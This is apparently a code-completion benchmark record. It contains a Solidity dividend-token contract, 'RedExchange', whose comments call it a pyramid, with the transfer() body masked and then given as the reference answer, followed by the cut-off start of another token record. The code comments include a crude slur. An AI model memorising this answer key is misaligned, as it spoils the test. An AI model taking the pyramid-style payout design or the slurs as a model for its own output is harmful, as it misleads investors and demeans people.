_customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); //uint256 _refPayout = _dividends / 3; //_dividends = SafeMath.sub(_dividends, _refPayout); //(_dividends,) = handleRef(stickyRef[msg.sender], _refPayout, _dividends, 0); // Take out dividends and then _fundPayout uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); // Add ethereum to send to fund totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * REMEMBER THIS IS 0% TRANSFER FEE */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) {<FILL_FUNCTION_BODY> } /** * Transfer token to a specified address and forward the data to recipient * ERC-677 standard * https://github.com/ethereum/EIPs/issues/677 * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transferAndCall(address _to, uint256 _value, bytes _data) external returns (bool) { require(_to != address(0)); require(canAcceptTokens_[_to] == true); // security check that contract approved by Red Street Exchange platform require(transfer(_to, _value)); // do a normal token transfer to the contract if (isContract(_to)) { AcceptsRedExchange receiver = AcceptsRedExchange(_to); require(receiver.tokenFallback(msg.sender, _value, _data)); } return true; } /** * Additional check that the game address we are sending tokens to is a contract * assemble the given address bytecode. If bytecode exists then the _addr is a contract. */ function isContract(address _addr) private constant returns (bool is_contract) { // retrieve the size of the code on target address, this needs assembly uint length; assembly { length := extcodesize(_addr) } return length > 0; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the ambassador phase. */ //function disableInitialStage() // onlyAdministrator() // public //{ // onlyAmbassadors = false; //} function setBondFundAddress(address _newBondFundAddress) onlyAdministrator() public { bondFundAddress = _newBondFundAddress; } function setAltFundAddress(address _newAltFundAddress) onlyAdministrator() public { altFundAddress = _newAltFundAddress; } /** * Set fees/rates */ function setFeeRates(uint8 _newDivRate, uint8 _newFundFee, uint8 _newAltRate) onlyAdministrator() public { require(_newDivRate <= 30); require(_newFundFee <= 10); require(_newAltRate <= 10); dividendFee_ = _newDivRate; fundFee_ = _newFundFee; altFundFee_ = _newAltRate; } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * Add or remove game contract, which can accept Red Street Market tokens */ function setCanAcceptTokens(address _address, bool _value) onlyAdministrator() public { canAcceptTokens_[_address] = _value; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } function setActive(bool _Active) onlyAdministrator() public { contractActive = _Active; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _taxedEthereum = SafeMath.add(SafeMath.add(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereumToSpend, fundFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereumToSpend, _dividends), _fundPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } /** * Function for the frontend to show ether waiting to be send to fund in contract */ function etherToSendFund() public view returns(uint256) { return SafeMath.sub(totalEthFundCollected, totalEthFundRecieved); } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) //NEW //antiEarlyWhale(_incomingEthereum) internal returns(uint256) { // data setup require(contractActive); address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_incomingEthereum, fundFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); //uint256 _fee; //(_dividends, _fee) = handleRef(_referredBy, _referralBonus, _dividends, _fee); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_incomingEthereum, _dividends), _fundPayout); totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
contract RedExchange { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } modifier notContract() { require (msg.sender == tx.origin); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "RedStreetExchange"; string public symbol = "XRED"; uint8 constant public decimals = 18; uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether; uint256 constant internal magnitude = 2**64; uint256 public totalEthFundRecieved; // total ETH charity recieved from this contract uint256 public totalEthFundCollected; // total ETH charity collected in this contract // proof of stake (defaults at 25 tokens) uint256 public stakingRequirement = 25e18; // ambassador program mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 2.5 ether; uint256 constant internal ambassadorQuota_ = 2.5 ether; bool public contractActive = false; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; uint8 internal dividendFee_ = 20; // 20% dividend fee on each buy and sell uint8 internal fundFee_ = 5; // 5% bond fund fee on each buy and sell uint8 internal altFundFee_ = 0; // Fund fee rate on each buy and sell for future game // administrator list (see above on what they can do) mapping(address => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = true; // Special Red Street Platform control from scam game contracts on Red Street platform mapping(address => bool) public canAcceptTokens_; // contracts, which can accept XRED tokens mapping(address => address) public stickyRef; address public bondFundAddress = 0xbc02f77cc33b705cf1f961dc2859bc0fc1805eca; //Bond Fund address public altFundAddress = 0xbc02f77cc33b705cf1f961dc2859bc0fc1805eca; //Alternate Fund for Future Game /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ function RedExchange() public { // add administrators here administrators[msg.sender] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Sends Bond Fund ether to the bond contract * */ function payFund() payable public onlyAdministrator() { uint256 _bondEthToPay = 0; uint256 ethToPay = SafeMath.sub(totalEthFundCollected, totalEthFundRecieved); require(ethToPay > 1); uint256 altEthToPay = SafeMath.div(SafeMath.mul(ethToPay,fundFee_),100); if (fundFee_ > 0){ _bondEthToPay = SafeMath.sub(ethToPay,altEthToPay); } else{ _bondEthToPay = 0; } totalEthFundRecieved = SafeMath.add(totalEthFundRecieved, ethToPay); if(!bondFundAddress.call.value(_bondEthToPay).gas(400000)()) { totalEthFundRecieved = SafeMath.sub(totalEthFundRecieved, _bondEthToPay); } if(altEthToPay > 0){ if(!altFundAddress.call.value(altEthToPay).gas(400000)()) { totalEthFundRecieved = SafeMath.sub(totalEthFundRecieved, altEthToPay); } } } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); //uint256 _refPayout = _dividends / 3; //_dividends = SafeMath.sub(_dividends, _refPayout); //(_dividends,) = handleRef(stickyRef[msg.sender], _refPayout, _dividends, 0); // Take out dividends and then _fundPayout uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); // Add ethereum to send to fund totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } <FILL_FUNCTION> /** * Transfer token to a specified address and forward the data to recipient * ERC-677 standard * https://github.com/ethereum/EIPs/issues/677 * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transferAndCall(address _to, uint256 _value, bytes _data) external returns (bool) { require(_to != address(0)); require(canAcceptTokens_[_to] == true); // security check that contract approved by Red Street Exchange platform require(transfer(_to, _value)); // do a normal token transfer to the contract if (isContract(_to)) { AcceptsRedExchange receiver = AcceptsRedExchange(_to); require(receiver.tokenFallback(msg.sender, _value, _data)); } return true; } /** * Additional check that the game address we are sending tokens to is a contract * assemble the given address bytecode. If bytecode exists then the _addr is a contract. */ function isContract(address _addr) private constant returns (bool is_contract) { // retrieve the size of the code on target address, this needs assembly uint length; assembly { length := extcodesize(_addr) } return length > 0; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the ambassador phase. */ //function disableInitialStage() // onlyAdministrator() // public //{ // onlyAmbassadors = false; //} function setBondFundAddress(address _newBondFundAddress) onlyAdministrator() public { bondFundAddress = _newBondFundAddress; } function setAltFundAddress(address _newAltFundAddress) onlyAdministrator() public { altFundAddress = _newAltFundAddress; } /** * Set fees/rates */ function setFeeRates(uint8 _newDivRate, uint8 _newFundFee, uint8 _newAltRate) onlyAdministrator() public { require(_newDivRate <= 30); require(_newFundFee <= 10); require(_newAltRate <= 10); dividendFee_ = _newDivRate; fundFee_ = _newFundFee; altFundFee_ = _newAltRate; } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * Add or remove game contract, which can accept Red Street Market tokens */ function setCanAcceptTokens(address _address, bool _value) onlyAdministrator() public { canAcceptTokens_[_address] = _value; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } function setActive(bool _Active) onlyAdministrator() public { contractActive = _Active; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _taxedEthereum = SafeMath.add(SafeMath.add(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereumToSpend, fundFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereumToSpend, _dividends), _fundPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } /** * Function for the frontend to show ether waiting to be send to fund in contract */ function etherToSendFund() public view returns(uint256) { return SafeMath.sub(totalEthFundCollected, totalEthFundRecieved); } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) //NEW //antiEarlyWhale(_incomingEthereum) internal returns(uint256) { // data setup require(contractActive); address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_incomingEthereum, fundFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); //uint256 _fee; //(_dividends, _fee) = handleRef(_referredBy, _referralBonus, _dividends, _fee); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_incomingEthereum, _dividends), _fundPayout); totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
// setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); // fire event Transfer(_customerAddress, _toAddress, _amountOfTokens); // ERC20 return true;
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool)
/** * Transfer tokens from the caller to a new holder. * REMEMBER THIS IS 0% TRANSFER FEE */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool)
92538
Token
init
contract Token is ERC20Interface, CNT_Common { using SafeMath for uint; bool public freezed; bool public initialized; uint8 public decimals; uint public totSupply; string public symbol; mapping(address => uint) public balances; mapping(address => mapping(address => uint)) public allowed; address public ICO_PRE_SALE = address(0x1); address public ICO_TEAM = address(0x2); address public ICO_PROMO_REWARDS = address(0x3); address public ICO_EOS_AIRDROP = address(0x4); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Token(uint8 _decimals, uint _thousands, string _name, string _sym) public { owner = msg.sender; symbol = _sym; name = _name; decimals = _decimals; totSupply = _thousands * 10**3 * 10**uint(decimals); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the 